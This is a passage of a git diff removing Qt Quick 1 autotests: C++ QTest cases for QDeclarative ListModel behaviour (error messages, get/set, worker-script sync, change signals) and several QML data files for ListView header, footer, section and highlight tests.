qApp->processEvents(); -} - -void tst_qdeclarativelistmodel::convertNestedToFlat_ok_data() -{ - convertNestedToFlat_fail_data(); -} - -void tst_qdeclarativelistmodel::enumerate() -{ - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/enumerate.qml")); - QVERIFY(!component.isError()); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item != 0); - QStringList r = item->property("result").toString().split(":"); - QCOMPARE(r[0],QLatin1String("val1=1Y")); - QCOMPARE(r[1],QLatin1String("val2=2Y")); - QCOMPARE(r[2],QLatin1String("val3=strY")); - QCOMPARE(r[3],QLatin1String("val4=falseN")); - QCOMPARE(r[4],QLatin1String("val5=trueY")); - delete item; -} - -void tst_qdeclarativelistmodel::error_data() -{ - QTest::addColumn("qml"); - QTest::addColumn("error"); - - QTest::newRow("id not allowed in ListElement") - << "import QtQuick 1.0\nListModel { ListElement { id: fred } }" - << "ListElement: cannot use reserved \"id\" property"; - - QTest::newRow("id allowed in ListModel") - << "import QtQuick 1.0\nListModel { id:model }" - << ""; - - QTest::newRow("random properties not allowed in ListModel") - << "import QtQuick 1.0\nListModel { foo:123 }" - << "ListModel: undefined property 'foo'"; - - QTest::newRow("random properties allowed in ListElement") - << "import QtQuick 1.0\nListModel { ListElement { foo:123 } }" - << ""; - - QTest::newRow("bindings not allowed in ListElement") - << "import QtQuick 1.0\nRectangle { id: rect; ListModel { ListElement { foo: rect.color } } }" - << "ListElement: cannot use script for property value"; - - QTest::newRow("random object list properties allowed in ListElement") - << "import QtQuick 1.0\nListModel { ListElement { foo: [ ListElement { bar: 123 } ] } }" - << ""; - - QTest::newRow("default properties not allowed in ListElement") - << "import QtQuick 1.0\nListModel { ListElement { Item { } } }" - << "ListElement: cannot contain nested elements"; - - QTest::newRow("QML elements not allowed in ListElement") - << "import QtQuick 1.0\nListModel { ListElement { a: Item { } } }" - << "ListElement: cannot contain nested elements"; - - QTest::newRow("qualified ListElement supported") - << "import QtQuick 1.0 as Foo\nFoo.ListModel { Foo.ListElement { a: 123 } }" - << ""; - - QTest::newRow("qualified ListElement required") - << "import QtQuick 1.0 as Foo\nFoo.ListModel { ListElement { a: 123 } }" - << "ListElement is not a type"; - - QTest::newRow("unknown qualified ListElement not allowed") - << "import QtQuick 1.0\nListModel { Foo.ListElement { a: 123 } }" - << "Foo.ListElement - Foo is not a namespace"; -} - -void tst_qdeclarativelistmodel::error() -{ - QFETCH(QString, qml); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), - QUrl::fromLocalFile(QString("dummy.qml"))); - if (error.isEmpty()) { - QVERIFY(!component.isError()); - } else { - QVERIFY(component.isError()); - QList errors = component.errors(); - QCOMPARE(errors.count(),1); - QCOMPARE(errors.at(0).description(),error); - } -} - -void tst_qdeclarativelistmodel::syncError() -{ - QString qml = "import QtQuick 1.0\nListModel { id: lm; Component.onCompleted: lm.sync() }"; - QString error = "file:dummy.qml:2:1: QML ListModel: List sync() can only be called from a WorkerScript"; - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), - QUrl::fromLocalFile(QString("dummy.qml"))); - QTest::ignoreMessage(QtWarningMsg,error.toUtf8()); - QObject *obj = component.create(); - QVERIFY(obj); - delete obj; -} - -/* - Test model changes from set() are available to the view -*/ -void tst_qdeclarativelistmodel::set() -{ - QDeclarativeEngine engine; - QDeclarative1ListModel model; - QDeclarativeEngine::setContextForObject(&model,engine.rootContext()); - engine.rootContext()->setContextProperty("model", &model); - - RUNEXPR("model.append({test:false})"); - RUNEXPR("model.set(0, {test:true})"); - - QCOMPARE(RUNEXPR("model.get(0).test").toBool(), true); // triggers creation of model cache - QCOMPARE(model.data(0, model.roles()[0]), qVariantFromValue(true)); - - RUNEXPR("model.set(0, {test:false})"); - QCOMPARE(RUNEXPR("model.get(0).test").toBool(), false); // tests model cache is updated - QCOMPARE(model.data(0, model.roles()[0]), qVariantFromValue(false)); -} - -/* - Test model changes on values returned by get() are available to the view -*/ -void tst_qdeclarativelistmodel::get() -{ - QFETCH(QString, expression); - QFETCH(int, index); - QFETCH(QString, roleName); - QFETCH(QVariant, roleValue); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData( - "import QtQuick 1.0\n" - "ListModel { \n" - "ListElement { roleA: 100 }\n" - "ListElement { roleA: 200; roleB: 400 } \n" - "ListElement { roleA: 200; roleB: 400 } \n" - "}", QUrl()); - QDeclarative1ListModel *model = qobject_cast(component.create()); - int role = roleFromName(model, roleName); - QVERIFY(role >= 0); - - QSignalSpy spy(model, SIGNAL(itemsChanged(int, int, QList))); - QDeclarativeExpression expr(engine.rootContext(), model, expression); - expr.evaluate(); - QVERIFY(!expr.hasError()); - - QCOMPARE(model->data(index, role), roleValue); - QCOMPARE(spy.count(), 1); - - QList spyResult = spy.takeFirst(); - QCOMPARE(spyResult.at(0).toInt(), index); - QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time - QCOMPARE(spyResult.at(2).value >(), (QList() << role)); - - delete model; -} - -void tst_qdeclarativelistmodel::get_data() -{ - QTest::addColumn("expression"); - QTest::addColumn("index"); - QTest::addColumn("roleName"); - QTest::addColumn("roleValue"); - - QTest::newRow("simple value") << "get(0).roleA = 500" << 0 << "roleA" << QVariant(500); - QTest::newRow("simple value 2") << "get(1).roleB = 500" << 1 << "roleB" << QVariant(500); - - QVariantMap map; - map["zzz"] = 123; - QTest::newRow("object value") << "get(1).roleB = {'zzz':123}" << 1 << "roleB" << QVariant::fromValue(map); - - QVariantList list; - map.clear(); map["a"] = 50; map["b"] = 500; - list << map; - map.clear(); map["c"] = 1000; - list << map; - QTest::newRow("list of objects") << "get(2).roleB = [{'a': 50, 'b': 500}, {'c': 1000}]" << 2 << "roleB" << QVariant::fromValue(list); -} - -void tst_qdeclarativelistmodel::get_worker() -{ - QFETCH(QString, expression); - QFETCH(int, index); - QFETCH(QString, roleName); - QFETCH(QVariant, roleValue); - - QDeclarative1ListModel model; - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarativeItem *item = createWorkerTest(&eng, &component, &model); - QVERIFY(item != 0); - - // Add some values like get() test - RUNEVAL(item, "model.append({roleA: 100})"); - RUNEVAL(item, "model.append({roleA: 200, roleB: 400})"); - RUNEVAL(item, "model.append({roleA: 200, roleB: 400})"); - - int role = roleFromName(&model, roleName); - QVERIFY(role >= 0); - - const char *warning = ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"; - if (roleValue.type() == QVariant::List || roleValue.type() == QVariant::Map) - QTest::ignoreMessage(QtWarningMsg, warning); - QSignalSpy spy(&model, SIGNAL(itemsChanged(int, int, QList))); - - // in the worker thread, change the model data and call sync() - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", - Q_ARG(QVariant, QStringList(expression)))); - waitForWorker(item); - - // see if we receive the model changes in the main thread's model - if (roleValue.type() == QVariant::List || roleValue.type() == QVariant::Map) { - QVERIFY(model.data(index, role) != roleValue); - QCOMPARE(spy.count(), 0); - } else { - QCOMPARE(model.data(index, role), roleValue); - QCOMPARE(spy.count(), 1); - - QList spyResult = spy.takeFirst(); - QCOMPARE(spyResult.at(0).toInt(), index); - QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time - QVERIFY(spyResult.at(2).value >().contains(role)); - } -} - -void tst_qdeclarativelistmodel::get_worker_data() -{ - get_data(); -} - -/* - Test that the tests run in get() also work for nested list data -*/ -void tst_qdeclarativelistmodel::get_nested() -{ - QFETCH(QString, expression); - QFETCH(int, index); - QFETCH(QString, roleName); - QFETCH(QVariant, roleValue); - - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng); - component.setData( - "import QtQuick 1.0\n" - "ListModel { \n" - "ListElement {\n" - "listRoleA: [\n" - "ListElement { roleA: 100 },\n" - "ListElement { roleA: 200; roleB: 400 },\n" - "ListElement { roleA: 200; roleB: 400 } \n" - "]\n" - "}\n" - "ListElement {\n" - "listRoleA: [\n" - "ListElement { roleA: 100 },\n" - "ListElement { roleA: 200; roleB: 400 },\n" - "ListElement { roleA: 200; roleB: 400 } \n" - "]\n" - "listRoleB: [\n" - "ListElement { roleA: 100 },\n" - "ListElement { roleA: 200; roleB: 400 },\n" - "ListElement { roleA: 200; roleB: 400 } \n" - "]\n" - "listRoleC: [\n" - "ListElement { roleA: 100 },\n" - "ListElement { roleA: 200; roleB: 400 },\n" - "ListElement { roleA: 200; roleB: 400 } \n" - "]\n" - "}\n" - "}", QUrl()); - QDeclarative1ListModel *model = qobject_cast(component.create()); - QVERIFY(component.errorString().isEmpty()); - QDeclarative1ListModel *childModel; - - // Test setting the inner list data for: - // get(0).listRoleA - // get(1).listRoleA - // get(1).listRoleB - // get(1).listRoleC - - QList > testData; - testData << qMakePair(0, QString("listRoleA")); - testData << qMakePair(1, QString("listRoleA")); - testData << qMakePair(1, QString("listRoleB")); - testData << qMakePair(1, QString("listRoleC")); - - for (int i=0; i= 0); - - childModel = qobject_cast(model->data(outerListIndex, outerListRole).value()); - QVERIFY(childModel); - - QString extendedExpression = QString("get(%1).%2.%3").arg(outerListIndex).arg(outerListRoleName).arg(expression); - QDeclarativeExpression expr(eng.rootContext(), model, extendedExpression); - - QSignalSpy spy(childModel, SIGNAL(itemsChanged(int, int, QList))); - expr.evaluate(); - QVERIFY(!expr.hasError()); - - int role = roleFromName(childModel, roleName); - QVERIFY(role >= 0); - QCOMPARE(childModel->data(index, role), roleValue); - QCOMPARE(spy.count(), 1); - - QList spyResult = spy.takeFirst(); - QCOMPARE(spyResult.at(0).toInt(), index); - QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time - QCOMPARE(spyResult.at(2).value >(), (QList() << role)); - } - - delete model; -} - -void tst_qdeclarativelistmodel::get_nested_data() -{ - get_data(); -} - -//QTBUG-13754 -void tst_qdeclarativelistmodel::crash_model_with_multiple_roles() -{ - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/multipleroles.qml")); - QObject *rootItem = component.create(); - QVERIFY(component.errorString().isEmpty()); - QVERIFY(rootItem != 0); - QDeclarative1ListModel *model = rootItem->findChild("listModel"); - QVERIFY(model != 0); - - // used to cause a crash in QDeclarativeVisualDataModel - model->setProperty(0, "black", true); - - delete rootItem; -} - -//QTBUG-15190 -void tst_qdeclarativelistmodel::set_model_cache() -{ - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml")); - QObject *model = component.create(); - QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); - QVERIFY(model != 0); - QVERIFY(model->property("ok").toBool()); - - delete model; -} - -void tst_qdeclarativelistmodel::property_changes() -{ - QFETCH(QString, script_setup); - QFETCH(QString, script_change); - QFETCH(QString, roleName); - QFETCH(int, listIndex); - QFETCH(bool, itemsChanged); - QFETCH(QString, testExpression); - - QDeclarativeEngine engine; - QDeclarative1ListModel model; - QDeclarativeEngine::setContextForObject(&model, engine.rootContext()); - engine.rootContext()->setContextObject(&model); - - QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); - expr.evaluate(); - QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); - - QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:"; - QString qml = "import QtQuick 1.0\n" - "Connections {\n" - "property bool gotSignal: false\n" - "target: model.get(0)\n" - + signalHandler + " gotSignal = true\n" - "}\n"; - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), QUrl::fromLocalFile("")); - engine.rootContext()->setContextProperty("model", &model); - QObject *connectionsObject = component.create(); - QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString())); - - QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); - - expr.setExpression(script_change); - expr.evaluate(); - QVERIFY2(!expr.hasError(), QTest::toString(expr.error())); - - // test the object returned by get() emits the correct signals - QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged); - - // test itemsChanged() is emitted correctly - if (itemsChanged) { - QCOMPARE(spyItemsChanged.count(), 1); - QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); - QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); - } else { - QCOMPARE(spyItemsChanged.count(), 0); - } - - expr.setExpression(testExpression); - QCOMPARE(expr.evaluate().toBool(), true); - - delete connectionsObject; -} - -void tst_qdeclarativelistmodel::property_changes_data() -{ - QTest::addColumn("script_setup"); - QTest::addColumn("script_change"); - QTest::addColumn("roleName"); - QTest::addColumn("listIndex"); - QTest::addColumn("itemsChanged"); - QTest::addColumn("testExpression"); - - QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});" - << "b" << 0 << true << "get(0).b == 123"; - QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);" - << "b" << 0 << true << "get(0).b == 123"; - - QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});" - << "b" << 0 << false << "get(0).b == 456"; - QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);" - << "b" << 0 << false << "get(0).b == 456"; - - // Following tests only call set() since setProperty() only allows plain - // values, not lists, as the argument. - // Note that when a list is changed, itemsChanged() is currently always - // emitted regardless of whether it actually changed or not. - - QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});" - << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2"; - - QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" - << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; - - QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});" - << "b" << 0 << true << "get(0).b.count == 0"; - - QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});" - << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3"; - - QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});" - << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3"; - - QTest::newRow("nested-set: list, no changes, empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});" - << "b" << 0 << true << "get(0).b.count == 0"; -} - -void tst_qdeclarativelistmodel::property_changes_worker() -{ - // nested models are not supported when WorkerScript is involved - if (QByteArray(QTest::currentDataTag()).startsWith("nested-")) - return; - - QFETCH(QString, script_setup); - QFETCH(QString, script_change); - QFETCH(QString, roleName); - QFETCH(int, listIndex); - QFETCH(bool, itemsChanged); - - QDeclarative1ListModel model; - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8()); - QDeclarativeItem *item = createWorkerTest(&engine, &component, &model); - QVERIFY(item != 0); - - QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); - expr.evaluate(); - QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); - - QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); - - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", - Q_ARG(QVariant, QStringList(script_change)))); - waitForWorker(item); - - // test itemsChanged() is emitted correctly - if (itemsChanged) { - QCOMPARE(spyItemsChanged.count(), 1); - QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); - QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); - } else { - QCOMPARE(spyItemsChanged.count(), 0); - } - - delete item; - qApp->processEvents(); -} - -void tst_qdeclarativelistmodel::property_changes_worker_data() -{ - property_changes_data(); -} - -void tst_qdeclarativelistmodel::clear() -{ - QDeclarativeEngine engine; - QDeclarative1ListModel model; - QDeclarativeEngine::setContextForObject(&model, engine.rootContext()); - engine.rootContext()->setContextProperty("model", &model); - - model.clear(); - QCOMPARE(model.count(), 0); - - RUNEXPR("model.append({propertyA: \"value a\", propertyB: \"value b\"})"); - QCOMPARE(model.count(), 1); - - model.clear(); - QCOMPARE(model.count(), 0); - - RUNEXPR("model.append({propertyA: \"value a\", propertyB: \"value b\"})"); - RUNEXPR("model.append({propertyA: \"value a\", propertyB: \"value b\"})"); - QCOMPARE(model.count(), 2); - - model.clear(); - QCOMPARE(model.count(), 0); - - // clearing does not remove the roles - RUNEXPR("model.append({propertyA: \"value a\", propertyB: \"value b\", propertyC: \"value c\"})"); - QList roles = model.roles(); - model.clear(); - QCOMPARE(model.count(), 0); - QCOMPARE(model.roles(), roles); - QCOMPARE(model.toString(roles[0]), QString("propertyA")); - QCOMPARE(model.toString(roles[1]), QString("propertyB")); - QCOMPARE(model.toString(roles[2]), QString("propertyC")); -} - -QTEST_MAIN(tst_qdeclarativelistmodel) - -#include "tst_qdeclarativelistmodel.moc" diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/attachedSignals.qml b/tests/auto/qtquick1/qdeclarativelistview/data/attachedSignals.qml deleted file mode 100644 index 5ca1a45839..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/attachedSignals.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -ListView { - id: view - width: 240; height: 320 - - property variant addedDelegates: [] - property int removedDelegateCount - - model: testModel - - delegate: Rectangle { - width: 200; height: delegateHeight - border.width: 1 - ListView.onAdd: { - var obj = ListView.view.addedDelegates - obj.push(model.name) - ListView.view.addedDelegates = obj - } - ListView.onRemove: { - view.removedDelegateCount += 1 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/displaylist.qml b/tests/auto/qtquick1/qdeclarativelistview/data/displaylist.qml deleted file mode 100644 index 9d58530252..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/displaylist.qml +++ /dev/null @@ -1,50 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - property real delegateHeight: 20 - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: root.delegateHeight - Behavior on height { NumberAnimation {} } - width: 240 - Text { - text: index - } - Text { - x: 30 - objectName: "displayText" - text: display - } - Text { - x: 200 - text: wrapper.y - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - }, - Component { - id: myHighlight - Rectangle { color: "green" } - } - ] - ListView { - id: list - objectName: "list" - focus: true - width: 240 - height: 320 - model: testModel - delegate: myDelegate - highlight: myHighlight - highlightMoveSpeed: 1000 - highlightResizeSpeed: 1000 - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/footer.qml b/tests/auto/qtquick1/qdeclarativelistview/data/footer.qml deleted file mode 100644 index 33e04f1b0a..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/footer.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - function changeFooter() { - list.footer = footer2 - } - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ListView { - id: list - objectName: "list" - focus: true - width: 240 - height: 320 - model: testModel - delegate: myDelegate - footer: Text { objectName: "footer"; text: "Footer"; height: 30 } - } - - Component { - id: footer2 - Text { objectName: "footer2"; text: "Footer 2"; height: 20 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/header.qml b/tests/auto/qtquick1/qdeclarativelistview/data/header.qml deleted file mode 100644 index 38cdd6e0c4..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/header.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - function changeHeader() { - list.header = header2 - } - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 30 - width: 240 - Text { - text: index - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ListView { - id: list - objectName: "list" - focus: true - width: 240 - height: 320 - snapMode: ListView.SnapToItem - model: testModel - delegate: myDelegate - header: Text { objectName: "header"; text: "Header"; height: 20 } - } - Component { - id: header2 - Text { objectName: "header2"; text: "Header 2"; height: 10 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/header1.qml b/tests/auto/qtquick1/qdeclarativelistview/data/header1.qml deleted file mode 100644 index f2ab4c1257..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/header1.qml +++ /dev/null @@ -1,33 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - - ListModel { id: testModel } - - ListView { - id: list - objectName: "list" - width: parent.width - anchors.top: parent.top - anchors.bottom: parent.bottom - model: testModel - delegate: Text { - objectName: "wrapper" - font.pointSize: 20 - text: index - } - footer: Rectangle { - width: parent.width - height: 40 - color: "green" - } - header: Text { objectName: "header"; text: "Header" } - } - - Component.onCompleted: { - for (var i=0; i<30; i++) testModel.append({"name" : i, "val": i}) - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/headerfooter.qml b/tests/auto/qtquick1/qdeclarativelistview/data/headerfooter.qml deleted file mode 100644 index 5633831925..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/headerfooter.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.1 - -ListView { - id: view - property bool horizontal: false - property bool rtl: false - width: 240 - height: 320 - - orientation: horizontal ? ListView.Horizontal : ListView.Vertical - header: Rectangle { - objectName: "header" - width: horizontal ? 20 : view.width - height: horizontal ? view.height : 20 - color: "red" - } - footer: Rectangle { - objectName: "footer" - width: horizontal ? 30 : view.width - height: horizontal ? view.height : 30 - color: "blue" - } -// model: testModel - delegate: Text { width: 30; height: 30; text: index + "(" + x + ")" } - layoutDirection: rtl ? Qt.RightToLeft : Qt.LeftToRight -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/itemlist.qml b/tests/auto/qtquick1/qdeclarativelistview/data/itemlist.qml deleted file mode 100644 index fca2901e97..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/itemlist.qml +++ /dev/null @@ -1,43 +0,0 @@ -// This example demonstrates placing items in a view using -// a VisualItemModel - -import QtQuick 1.0 - -Rectangle { - color: "lightgray" - width: 240 - height: 320 - - VisualItemModel { - id: itemModel - objectName: "itemModel" - Rectangle { - objectName: "item1" - height: ListView.view.height; width: view.width; color: "#FFFEF0" - Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item2" - height: ListView.view.height; width: view.width; color: "#F0FFF7" - Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item3" - height: ListView.view.height; width: view.width; color: "#F4F0FF" - Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - } - - ListView { - id: view - objectName: "view" - anchors.fill: parent - anchors.bottomMargin: 30 - model: itemModel - preferredHighlightBegin: 0 - preferredHighlightEnd: 0 - highlightRangeMode: "StrictlyEnforceRange" - orientation: ListView.Horizontal - flickDeceleration: 2000 - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listview-enforcerange.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listview-enforcerange.qml deleted file mode 100644 index 49dbcb38ea..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listview-enforcerange.qml +++ /dev/null @@ -1,55 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Item { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 120 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - x: 200 - text: wrapper.y - } - } - } - - Component { - id: myHighlight - Rectangle { - color: "lightsteelblue" - } - } - - ListView { - id: list - objectName: "list" - width: 240 - height: 320 - model: testModel - delegate: myDelegate - highlight: myHighlight - preferredHighlightBegin: 100 - preferredHighlightEnd: 100 - highlightRangeMode: "StrictlyEnforceRange" - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listview-initCurrent.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listview-initCurrent.qml deleted file mode 100644 index 2c4cfab217..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listview-initCurrent.qml +++ /dev/null @@ -1,51 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property int current: list.currentIndex - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 120 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - x: 200 - text: wrapper.y - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ] - ListView { - id: list - objectName: "list" - focus: true - currentIndex: 20 - width: 240 - height: 320 - keyNavigationWraps: testWrap - delegate: myDelegate - highlightMoveSpeed: 1000 - model: testModel - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listview-noCurrent.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listview-noCurrent.qml deleted file mode 100644 index 19970100f7..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listview-noCurrent.qml +++ /dev/null @@ -1,50 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property int current: list.currentIndex - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 120 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - x: 200 - text: wrapper.y - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - } - ] - ListView { - id: list - objectName: "list" - focus: true - currentIndex: -1 - width: 240 - height: 320 - delegate: myDelegate - highlightMoveSpeed: 1000 - model: testModel - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections.qml deleted file mode 100644 index 283678b6f1..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections.qml +++ /dev/null @@ -1,64 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Item { - id: wrapper - objectName: "wrapper" - height: ListView.previousSection != ListView.section ? 40 : 20; - width: 240 - Rectangle { - y: wrapper.ListView.previousSection != wrapper.ListView.section ? 20 : 0 - height: 20 - width: parent.width - color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white" - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 100 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - objectName: "nextSection" - x: 150 - text: wrapper.ListView.nextSection - } - Text { - x: 200 - text: wrapper.y - } - } - Rectangle { - color: "#99bb99" - height: wrapper.ListView.previousSection != wrapper.ListView.section ? 20 : 0 - width: parent.width - visible: wrapper.ListView.previousSection != wrapper.ListView.section ? true : false - Text { text: wrapper.ListView.section } - } - } - } - ] - ListView { - id: list - objectName: "list" - width: 240 - height: 320 - model: testModel - delegate: myDelegate - section.property: "number" - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections_delegate.qml deleted file mode 100644 index b2d9213c3d..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listview-sections_delegate.qml +++ /dev/null @@ -1,69 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property string sectionProperty: "number" - width: 240 - height: 320 - color: "#ffffff" - resources: [ - Component { - id: myDelegate - Item { - id: wrapper - objectName: "wrapper" - height: 20; - width: 240 - Rectangle { - height: 20 - width: parent.width - color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white" - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 100 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - objectName: "nextSection" - x: 150 - text: wrapper.ListView.nextSection - } - Text { - x: 200 - text: wrapper.y - } - } - ListView.onRemove: SequentialAnimation { - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "height"; to: 0; duration: 100; easing.type: Easing.InOutQuad } - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false } - } - } - } - ] - ListView { - id: list - objectName: "list" - width: 240 - height: 320 - model: testModel - 